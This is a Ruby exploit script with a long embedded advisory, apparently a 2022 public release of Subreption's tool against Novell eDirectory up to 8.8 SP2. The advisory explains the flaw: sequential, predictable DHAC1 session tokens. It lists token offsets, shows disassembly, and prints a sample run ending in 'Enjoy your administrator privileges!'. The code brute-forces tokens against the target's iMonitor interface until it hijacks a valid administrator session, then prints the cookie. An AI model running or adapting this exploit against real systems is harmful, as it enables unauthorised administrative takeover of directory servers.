1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
|
# Copyright (c) 2005-2009 Subreption LLC. All rights reserved.
# Proprietary information - Company Confidential.
# 2022: PUBLIC RELEASE
EXPLOIT_DESCRIPTION = %Q{
Novell eDirectory is affected by a remotely exploitable logic flaw:
the session token / id used to identify logged-in users (including
administrators) is generated sequentially using fixed offsets. Altogether
with the overly long period for session expiration (at very least 30
minutes), this allows a remote attacker to hijack arbitrary sessions
on the system, gaining privileges on the directory tree and potentially
shell access to the eDirectory host, as well as full access to server
configuration.
DHAC1=eb3d0016; Path=/
The DHAC1 cookie value is the session token / id, used to identify logged
in users. No other verification process exists.
-- Vulnerable versions:
Novell eDirectory up to 8.8 Service Pack 2 (Tested on 8.8 SP 2 and 8.8).
In all the supported platforms (Microsoft Windows, Linux, etc).
eDirectory 8.8 on Linux seems to use 0x10001 as offset 100% of the
time, making the exploit extremely reliable against such installations.
-- References:
http://www.novell.com/documentation/edir88/edir88/data/a6l60f7.html
-- Appendix 1: Calculation of token offset
A tool (edir_token_calc.rb) is available for calculating the token
offset value. Depending on the eDirectory version, it might change
(although the incremental nature remains and can be predicted reliably).
For 8.0-8.8 it was 0x10001, and 8.8 SP2 has a value of 0x20001 normally.
Thanks to the flawed session handling logic of eDirectory, there's plenty
of time to crack the token, especially for such high shifts. The minimal
amount of time is 30 minutes of inactivity.
Reading eDirectory session token log (generated from exploit)...
Calculating token offsets (795 tokens collected):
..................................................................
.............................................................
Done. Printing token offsets (13 total):
0x20007
0x20003
0x20001
0x1fffe
0x20004
0x20002
0x1ffff
0x1fffd
0x20005
0x40003
0x1fffc
0x20006
0x1fffb
Done.
With some customization of the code, the exploit can be made 'aware'
of any offset changes and update it during the brute forcing process,
slightly improving performance. This will be less reliable if the offset
has changed since the target session token was generated:
irb(main):006:0> (0xffffffff - 0xeb6a0110) / 0x1ffff
=> 2635
(For target token being 0xeb6a0110). Tune FIXED_TOKEN_OFFSET and set the
FOCUS_ON_PERFORMANCE variable to true or false depending on your needs.
Recommended setting is 'false'.
For even higher performance, the brute forcing could be done by different
threads working on separate token ranges. This might be implemented on a
future revision, if necessary. Although, it adds further complexity to the
exploit.
-- Appendix 2: Example (successful) usage
$ ruby edirectoryadmin.rb 172.16.0.30
Novell eDirectory => 8.8 SP2 Remote Administrator Exploit
Copyright (c) 2007-2008 Subreption LLC. All rights reserved.
Targeting 172.16.0.30
Detected eDirectory HTTP(S): DHost/9.0 HttpStk/1.0
Writing received tokens to edir_token.log
(...)
[+] Trying token: c4b80110
Token cracked. Use the following cookie to access iMonitor:
Cookie: DHAC1=c4b80110; Path=/
Enjoy your administrator privileges!
-- Appendix 3: Reverse engineering information
The following procedures from the httpstk.dlm seem to be related with
the process of incrementing the session token, which is an unsigned long
(32 bit):
sub_624026F2 proc near
...
call ds:[email protected] ; SAL_EnterSpinLock(x)
push esi
call ds:[email protected] ; SAL_AtomicIncrement(x)
push edi
call ds:[email protected] ; SAL_LeaveSpinLock(x)
pop edi
pop esi
retn
sub_624026F2 endp
sub_62408A15 proc near
push esi
lea esi, [ecx+14h]
mov ecx, esi
call sub_624026F2
mov eax, esi
pop esi
retn
sub_62408A15 endp
sub_62402719+1B call sub_62408A15
sub_624029E0+17 call sub_62408A15
sub_6240360D+17 call sub_62408A15
sub_6240464C+83 call sub_62408A15
sub_62405E4B+AA call sub_62408A15
HRequest::SendHeader(int)+2D call sub_62408A15
sub_62407180+14 call sub_62408A15
sub_62407795+15 call sub_62408A15
sub_62409021+E call sub_62408A15
sub_624096A5+E call sub_62408A15
sub_62409F3E+E call sub_62408A15
sub_6240A50D+F call sub_62408A15
}
require 'net/https'
# In 8.0-8.8 it was 90% of time 0x10001, change it to lower one for better precision.
# Brute forcing will take a higher time though. For 8.8 SP2 it remains sequential
# but sometimes by an offset of 1 or 2 (ie. 0x20001, 0x20002).
FIXED_TOKEN_OFFSET = 0x10001
# Make the exploit reliable or faster? This is extremely relative and we
# provide the code simply for documenting the vulnerability. We recommend
# leaving it as 'false'.
FOCUS_ON_PERFORMANCE = false
def imonitor_crack(remote_host, http_port = 8028, ssl_port = 8030)
current_token = 0xffffffff
token_cracked = false
total_tries = 0
puts "Targeting #{remote_host}"
# Check the server banner
Net::HTTP.start(remote_host, http_port) do |http|
resp, data = http.get('/')
banner = resp.response['Server']
if banner =~ /DHost/i
puts "Detected eDirectory HTTP(S): " + banner
else
puts "No eDirectory running at #{remote_host}?"
return nil
end
end
headers = {
'User-Agent' => "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8) Gecko/20071008",
'Accept' => "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text",
"Accept-Language" => "en-us,en;q=0.5",
"Accept-Encoding" => "gzip,deflate"
}
puts "Writing received tokens to edir_token.log"
logfile = File.open("edir_token.log", "w+")
while token_cracked != true
headers['Cookie'] = sprintf("DHAC1=%x; Path=/", current_token)
req = Net::HTTP.new(remote_host, ssl_port)
req.use_ssl = true
req.verify_mode = OpenSSL::SSL::VERIFY_NONE
resp, data = req.get2('/dhost/nav', headers)
if resp.code.to_i == 200
puts "[+] Obtained valid token after #{total_tries} tries."
token_cracked = true
end
if total_tries == 0 and FOCUS_ON_PERFORMANCE == true
puts resp['Set-Cookie']
begin
current_token = resp['Set-Cookie'].scan(/DHAC1=(.+?);/).flatten[0].to_i(16)
rescue
end
end
puts "[+] T=#{total_tries} Trying token: " + sprintf("%x", current_token)
total_tries += 1
begin
logfile.write resp['Set-Cookie'].scan(/DHAC1=(.+?);/).flatten[0] + "\n"
rescue
end
current_token -= FIXED_TOKEN_OFFSET
end
return current_token
end
def main
target_ssl_port = 8030
target_http_port = 8028
puts "Novell eDirectory => 8.8 SP2 Remote Administrator Exploit"
puts "Copyright (c) 2007-2008 Subreption LLC. All rights reserved."
if ARGV.size != 1
puts "Usage: #{$0} [hostname or ip] [port]"
puts "It will connect using SSL, without certificate verification."
puts EXPLOIT_DESCRIPTION
exit 1
end
if ARGV[1]
target_ssl_port = ARGV[1].to_i
end
target_host = ARGV[0]
admin_token = imonitor_crack(target_host, target_http_port, target_ssl_port)
if admin_token
puts ""
puts "Token cracked. Use the following cookie to access iMonitor:"
puts "Cookie: " + sprintf("DHAC1=%x; Path=/", admin_token)
puts "Enjoy your administrator privileges on #{target_host}!"
exit 0
end
exit 1
end
if $0 == __FILE__
main
end
|